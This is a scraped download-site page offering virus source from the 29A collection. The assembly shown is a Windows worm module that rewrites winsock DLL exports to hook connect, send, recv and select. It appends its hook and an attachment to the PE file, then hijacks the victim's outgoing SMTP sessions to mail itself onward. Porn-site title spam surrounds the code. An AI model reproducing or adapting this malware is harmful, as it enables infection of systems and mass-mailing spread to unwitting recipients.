亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.008

?? 從29A上收集的病毒源碼
?? 008
?? 第 1 頁 / 共 5 頁
字號:
        call    patchAPI
        jc      near infwsErrorCloseUnmap
        add     eax,[esi+34h]
        mov     [_recv],eax

        mov     eax,~'sele'
        not     eax
        call    patchAPI
        jc      near infwsErrorCloseUnmap
        add     eax,[esi+34h]
        mov     [_select],eax

        xor     eax,eax
        mov     [esi+58h],eax

        or      dword [edi+24h],0c0000000h

        mov     eax,wsockHookSize
        add     eax,[attachmentSize]
        push    eax
        add     eax,[edi+10h]
        mov     ecx,[esi+3ch]
        xor     edx,edx
        div     ecx
        inc     eax
        mul     ecx
        mov     [edi+10h],eax

        add     eax,[edi+0ch]
        mov     ecx,[esi+38h]
        xor     edx,edx
        div     ecx
        inc     eax
        mul     ecx
        mov     [esi+50h],eax
        sub     eax,[edi+0ch]
        mov     [edi+08h],eax

        pop     eax
        add     eax,[fileSize]
        push    eax
repeatRndPadding:
        push    dword 200h
        call    rnd
        or      eax,eax
        jz      repeatRndPadding
        add     dword [esp],eax
        pop     dword [padding]

        push    dword [mapMem]
        call    UnmapViewOfFile

        push    dword [fhmap]
        call    CloseHandle

        xor     eax,eax
        push    eax
        push    dword [padding]
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd]
        call    CreateFileMappingA
        or      eax,eax
        jz      infwsErrorClose

        mov     [fhmap],eax

        xor     eax,eax
        push    dword [padding]
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap]
        call    MapViewOfFile
        or      eax,eax
        jz      infwsErrorCloseMap

        mov     [mapMem],eax

        mov     ecx,wsockHookSize
        lea     esi,[wsockHookBegin]
        mov     edi,eax
        add     edi,dword [fileSize]
        rep     movsb
        mov     ecx,[attachmentSize]
        mov     esi,[attachment]
        rep     movsb

        mov     byte [hkey],1

infwsErrorCloseUnmap:
        push    dword [mapMem]
        call    UnmapViewOfFile

infwsErrorCloseMap:
        push    dword [fhmap]
        call    CloseHandle

infwsErrorClose:
        push    dword [fHnd]
        call    CloseHandle

infwsError:
        ret

; ECX: PE header EAX: rva shit
; out EAX: raw
rva2raw:
        push    eax
        pushad
        mov     esi,eax
        mov     edx,ecx
        mov     eax,18h
        add     ax,[edx+14h]
        add     edx,eax
        movzx   ecx,word [ecx+06h]
        xor     ebp,ebp
rva2rawLoop:
        mov     edi,[edx+ebp+0ch]
        add     edi,[edx+ebp+8]
        cmp     esi,edi
        jb      foundDamnSect
nextSectPlz:
        add     ebp,28h
        loop    rva2rawLoop
        popad
        pop     eax
        stc
        ret
foundDamnSect:
        sub     esi,[edx+ebp+0ch]
        add     esi,[edx+ebp+14h]
        mov     dword [esp+20h],esi
        popad
        pop     eax
        clc
        ret

patchAPI:
        push    eax
        pushad
        mov     edi,eax
        mov     ecx,esi

        mov     edx,[esi+78h]
        or      edx,edx
        jz      patchAPIError
        add     edx,[mapMem]
        mov     esi,[edx+20h]
        or      esi,esi
        jz      patchAPIError
        mov     eax,esi
        call    rva2raw
        jc      patchAPIError

        mov     esi,eax
        add     esi,[mapMem]
        xor     ebp,ebp
hookApiLoop:
        mov     eax,[esi+ebp*2]
        call    rva2raw
        jc      patchAPIError
        add     eax,[mapMem]
        cmp     [eax],edi
        je      APIFound
        add     ebp,2
        jmp     hookApiLoop
APIFound:
        mov     eax,[edx+24h]
        call    rva2raw
        jc      patchAPIError
        add     eax,[mapMem]
        movzx   ebp,word [eax+ebp]
        mov     eax,[edx+1ch]
        call    rva2raw
        jc      patchAPIError
        add     eax,[mapMem]
        or      ebx,ebx
        jnz     justPatch
        mov     ebx,[eax+ebp*4]
        jmp     saveOldAddr
justPatch:
        xchg    ebx,[eax+ebp*4]
saveOldAddr:
        mov     [esp+20h],ebx

        popad
        pop     eax
        clc
        ret
patchAPIError:
        popad
        pop     eax
        stc
        ret

; - wsock.inc EOF -

; - wsockhook.inc BOF -

RCPTTOLEN       equ     128

wsockHookBegin:

my_connect:
        pushad
        call    inithook

        mov     eax,~'FREE'
sem     equ     $-4
        cmp     eax,~'BUSY'
        je      _my_connect0

        mov     eax,dword [esp+28h]
        mov     ax,word [eax+2]
        cmp     ax,1900h
        jne     _my_connect0

_my_connect1:
        mov     eax,[esp+24h]
        mov     dword [listenSocket+ebp],eax

_my_connect0:
        mov     eax,[_connect+ebp]
        xchg    [esp+20h],eax
        mov     [_connect_caller+ebp],eax
        popad
        pop     eax
        call    eax
        sub     esp,0ch
        push    dword 12345678h
_connect_caller equ $-4
        retn    0ch

my_send:
        pushad
        call    inithook

        mov     eax,[sem+ebp]
        cmp     eax,~'BUSY'
        je      _my_send0

        mov     eax,-1
listenSocket    equ $-4
        inc     eax
        jz      _my_send0
        dec     eax

        cmp     eax,[esp+24h]
        jne     _my_send0

        jmp     _my_send1

_my_send0:
        mov     eax,[_send+ebp]
        xchg    [esp+20h],eax
        mov     [_send_caller+ebp],eax
        popad
        pop     eax
        call    eax
        sub     esp,10h
        push    dword 12345678h
_send_caller    equ $-4
        retn    10h

_my_send1:
        mov     esi,[esp+28h]
        mov     edi,[esp+2ch]
        cmp     edi,6
        jb      _my_send0

        mov     eax,dword [esi]
        and     eax,~20202020h
        cmp     eax,'RCPT'
        jne     __my_send1_2

        call    my_send_get_rcpt
        jmp     _my_send0
__my_send1_2:
        cmp     eax,'QUIT'
        jne     _my_send0
        cmp     word [esi+4],0a0dh
        jne     _my_send0

        mov     dword [sem+ebp],~'BUSY'

        cmp     byte [rcptto+ebp],0
        je      __my_send1_3

        call    smtp

__my_send1_3:
        xor     eax,eax
        dec     eax
        mov     dword [listenSocket+ebp],eax
        mov     dword [sem+ebp],~'FREE'

        jmp     _my_send0

my_send_get_rcpt:
        mov     ecx,edi
        add     ecx,esi
        lea     edi,[rcptto+ebp]
        mov     byte [edi],0
my_send_get_rcpt1:
        cmp     byte [esi],':'
        je      my_send_get_rcpt0
        inc     esi
        cmp     esi,ecx
        jb      my_send_get_rcpt1
        ret
my_send_get_rcpt0:
        inc     esi
        mov     ebx,RCPTTOLEN
        add     ebx,edi
my_send_get_rcpt3:
        cmp     esi,ecx
        jnb     my_send_get_rcpt4
        cmp     edi,ebx
        jb      my_send_get_rcpt2
my_send_get_rcpt4:
        mov     byte [rcptto+ebp],0
        ret
my_send_get_rcpt2:
        movsb
        cmp     byte [esi],0dh
        jne     my_send_get_rcpt3
        movsb
        mov     ax,000ah
        stosw
        ret

inithook:
        call    _inithook0
_inithook0:
        pop     ebp
        sub     ebp,dword _inithook0

        lea     esi,[_wsockhookbase+ebp]
        mov     ecx,[esi]
        jecxz   _inithook1

        lea     eax,[my_connect+ebp]
        sub     eax,ecx
        add     [_connect+ebp],eax
        add     [_send+ebp],eax
        add     [_recv+ebp],eax
        add     [_select+ebp],eax
        xor     eax,eax
        mov     dword [esi],eax
        mov     [hseed+ebp],esp
_inithook1:
        ret

smtp:
        push    ebp
        mov     ebp,esp
        sub     esp,512
        push    ebp
        sub     ebp,512

        call    @sendMail0
@sendMail0:
        pop     ebx
        sub     ebx,dword @sendMail0

        mov     ecx,8
        mov     eax,[hseed+ebx]
        lea     esi,[rndFrom+ebx]
fromRndLoop:
        mov     byte [esi],al
        and     byte [esi],0fh
        add     byte [esi],'a'
        rol     eax,3
        add     eax,[rcptto+ebx]
        inc     esi
        loop    fromRndLoop
        add     [hseed+ebx],eax

        lea     edi,[cmd0+ebx]
        call    rcchain
        jc      near @sendMailOut

        push    dword sizeCmd1
        lea     edi,[cmd1+ebx]
        push    edi
        call    __send

        lea     esi,[rcptto+ebx]
        push    esi
@sendMail1:
        lodsb
        or      al,al
        jnz     @sendMail1
        sub     esi,[esp]
        dec     esi
        xchg    [esp],esi
        push    esi
        call    __send

        mov     byte [ebp],0
        push    dword 512
        push    ebp
        call    __recv

        cmp     byte [ebp],'2'
        je      @sendMail2
        cmp     byte [ebp],'3'
        jne     near @sendMailOut
@sendMail2:

        lea     edi,[cmd2+ebx]
        call    rcchain
        jc      near @sendMailOut

        push    dword body0Size
        lea     edi,[body0+ebx]
        push    edi
        call    __send

        cmp     byte [pflag+ebx],0
        jne     weHaveSubject
        lea     edi,[gsubject+ebx]
        lea     esi,[rndFrom+ebx]
        mov     ecx,8
        mov     [ssubj+ebx],ecx
        rep     movsb

        jmp     skipThisSubject
weHaveSubject:
        push    dword [ssubj+ebx]
        lea     edi,[gsubject+ebx]
        push    edi
        call    __send

skipThisSubject:
        push    dword body1Size
        lea     edi,[body1+ebx]
        push    edi
        call    __send

        push    dword [ssubj+ebx]
        lea     edi,[gsubject+ebx]
        push    edi
        call    __send

        push    dword body2Size
        lea     edi,[body2+ebx]
        push    edi
        call    __send

        push    dword [ssubj+ebx]
        lea     edi,[gsubject+ebx]
        push    edi
        call    __send

        push    dword body3Size
        lea     edi,[body3+ebx]
        push    edi
        call    __send

        push    dword [attachmentSize+ebx]
        lea     edi,[_attachment+ebx]
        push    edi
        call    __send

        lea     edi,[bodyEnd+ebx]
        call    rcchain

@sendMailOut:
        pop     ebp
        leave
        ret

rcchain:
        push    ebx
        xor     ebx,ebx
        mov     bl,byte [edi]
        inc     edi
        push    ebx
        push    edi
        call    __send

        mov     byte [ebp],0
        push    dword 512
        push    ebp
        call    __recv

        cmp     byte [ebp],'2'
        je      @rcchain1
        cmp     byte [ebp],'3'
        je      @rcchain1
        stc
        mov     al,0f8h
@rcchain1       equ $-1
        pop     ebx
        ret

__recv:
        push    edx
        mov     edx,esp
        pushad
        call    inithook

        push    edx
        lea     esi,[fd_fdset+ebp]
        mov     dword [esi],1
        mov     eax,[listenSocket+ebp]
        mov     [esi+4],eax
        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    esi
        push    eax
        call    dword [_select+ebp]
        pop     edx
        inc     eax
        jz      __recv_out

        push    dword 0
        push    dword [edx+12]
        push    dword [edx+8]
        push    dword [listenSocket+ebp]
        call    dword [_recv+ebp]
__recv_out:
        popad
        pop     edx
        retn    8

__send:
        push    edx
        mov     edx,esp
        pushad
        call    inithook

__send_retry:
        push    edx
        lea     esi,[fd_fdset+ebp]
        mov     dword [esi],1
        mov     eax,[listenSocket+ebp]
        mov     [esi+4],eax
        xor     eax,eax
        push    eax
        push    eax
        push    esi
        push    eax
        push    eax
        call    dword [_select+ebp]
        pop     edx
        inc     eax
        jz      __send_out

        push    edx
        push    dword 0
        push    dword [edx+12]
        push    dword [edx+8]
        push    dword [listenSocket+ebp]
        call    dword [_send+ebp]
        pop     edx
        inc     eax
        jz      __send_retry
        dec     eax
        or      eax,eax
        jz      __send_out
        cmp     eax,[edx+12]
        je      __send_out
        add     [edx+8],eax
        sub     [edx+12],eax
        jmp     __send_retry
__send_out:
        popad
        pop     edx
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
中文字幕中文字幕在线一区 | 韩国视频一区二区| www.欧美精品一二区| 欧美久久免费观看| 国产欧美一区二区三区在线老狼 | 99久久精品国产麻豆演员表| 欧美日韩精品三区| 国产精品丝袜在线| 久久99精品久久只有精品| 在线区一区二视频| 国产精品电影一区二区| 久久疯狂做爰流白浆xx| 欧美在线播放高清精品| 国产精品青草久久| 国产高清成人在线| 欧美大片在线观看一区| 亚洲国产日产av| 91丨九色丨尤物| 国产欧美一区二区三区网站 | 亚洲欧美一区二区视频| 国产在线精品一区二区三区不卡| 在线观看国产精品网站| 国产精品污www在线观看| 久久国产精品99精品国产| 欧美日韩欧美一区二区| 国产欧美日韩精品a在线观看| 麻豆精品在线看| 日韩一区二区三区电影| 香蕉久久一区二区不卡无毒影院| 91尤物视频在线观看| 国产精品久久久爽爽爽麻豆色哟哟| 久久国产人妖系列| 日韩欧美一级二级三级| 日韩高清不卡在线| 在线播放中文一区| 婷婷久久综合九色综合绿巨人| 欧美性淫爽ww久久久久无| 怡红院av一区二区三区| av一区二区久久| 国产精品久久久一区麻豆最新章节| 国产精品一区一区| 欧美激情一区二区三区在线| 国产精品一区二区三区四区| 久久久久久久久久久久久女国产乱 | 成人久久18免费网站麻豆| 国产亚洲欧美激情| 国产成人99久久亚洲综合精品| 欧美经典一区二区| 成人激情免费视频| 亚洲视频 欧洲视频| 色婷婷亚洲精品| 亚洲专区一二三| 欧美三级午夜理伦三级中视频| 亚洲一区二区3| 欧美日韩色一区| 久久狠狠亚洲综合| 国产日韩欧美高清在线| 成人高清视频在线观看| 中文字幕中文字幕一区| 欧美视频完全免费看| 午夜精品福利久久久| 精品国产一区二区三区不卡| 国产精品一二三| 亚洲黄色尤物视频| 日韩欧美在线不卡| 国产高清在线观看免费不卡| 亚洲欧美自拍偷拍| 欧美群妇大交群的观看方式| 国产一区二区在线观看视频| 中文一区一区三区高中清不卡| 欧洲精品视频在线观看| 久久国产精品99久久人人澡| 国产精品国产三级国产aⅴ中文| 欧美亚一区二区| 精品系列免费在线观看| 亚洲激情校园春色| 欧美精品一区二区三区久久久| 91色porny蝌蚪| 看国产成人h片视频| 中文字幕一区av| 日韩欧美在线1卡| 91在线观看污| 久久97超碰色| 一区二区三区免费网站| 久久尤物电影视频在线观看| 日本乱人伦一区| 国产盗摄精品一区二区三区在线| 亚洲国产视频网站| 国产精品美日韩| 精品国产免费一区二区三区香蕉| 91麻豆文化传媒在线观看| 久久av老司机精品网站导航| 亚洲一区在线观看网站| 国产欧美一区二区三区在线看蜜臀 | 成人动漫一区二区三区| 麻豆成人免费电影| 亚洲一区免费在线观看| 欧美激情一区在线观看| 日韩亚洲欧美综合| 欧美视频完全免费看| 99国产精品一区| 青青草国产成人av片免费 | 国产午夜精品久久| 欧美美女网站色| 色综合咪咪久久| 粉嫩绯色av一区二区在线观看| 蜜臀久久99精品久久久画质超高清| 樱桃国产成人精品视频| 国产精品毛片大码女人| 国产欧美日韩亚州综合 | 国产一区二区不卡在线| 蜜臀av性久久久久蜜臀av麻豆| 亚洲综合色视频| 一区二区三区在线观看视频| 亚洲va韩国va欧美va| 亚洲日本在线天堂| 国产精品视频看| 日本一二三不卡| 欧美激情一区二区三区在线| 久久精品夜色噜噜亚洲a∨| 精品福利二区三区| 欧美精品一区二区三区蜜臀 | 欧美亚洲一区二区三区四区| 91麻豆精品一区二区三区| 成人午夜在线免费| 国产成人精品一区二区三区网站观看| 久久69国产一区二区蜜臀| 男女激情视频一区| 麻豆国产精品一区二区三区| 日本网站在线观看一区二区三区| 午夜成人免费视频| 美女网站在线免费欧美精品| 久久99精品久久久| 国产成人精品免费一区二区| 高清久久久久久| 99综合影院在线| 色综合中文字幕国产| 成人app网站| 色婷婷亚洲综合| 欧美日本乱大交xxxxx| 日韩一区二区免费高清| 久久精品一级爱片| 亚洲欧洲精品天堂一级| 一个色综合av| 婷婷综合久久一区二区三区| 久久99国产精品麻豆| 成人app在线| 欧美三级蜜桃2在线观看| 精品久久国产字幕高潮| 国产日本一区二区| 亚洲综合视频在线观看| 美女www一区二区| 成人动漫一区二区在线| 欧美日韩dvd在线观看| 久久精品欧美一区二区三区麻豆 | 91亚洲国产成人精品一区二区三 | 专区另类欧美日韩| 青青青爽久久午夜综合久久午夜| 国产精品亚洲一区二区三区妖精| 99视频精品全部免费在线| 欧美高清视频一二三区| 久久综合999| 亚洲综合免费观看高清完整版| 麻豆国产精品一区二区三区| 91原创在线视频| 欧美精品一区男女天堂| 亚洲在线观看免费| 丁香激情综合五月| 欧美一区二区成人| 亚洲欧美偷拍卡通变态| 老司机精品视频一区二区三区| 91偷拍与自偷拍精品| 久久久综合精品| 亚洲va欧美va天堂v国产综合| 粉嫩aⅴ一区二区三区四区五区| 精品视频在线视频| 国产精品国产成人国产三级| 免费av成人在线| 欧美午夜精品免费| 亚洲大片在线观看| 成人va在线观看| 久久色视频免费观看| 午夜视频一区在线观看| 91在线高清观看| 欧美国产日韩精品免费观看| 久久精品国产在热久久| 欧美日韩国产一二三| 亚洲婷婷在线视频| 国产成人免费在线观看| 欧美一区二区三区思思人| 亚洲欧美日韩综合aⅴ视频| 国产一区二区美女诱惑| 欧美一区中文字幕| 午夜精品久久久久久久久久| 91黄色免费版| 综合欧美亚洲日本| www.激情成人| 国产精品麻豆99久久久久久| 国产成人精品亚洲777人妖 | 中文字幕国产一区|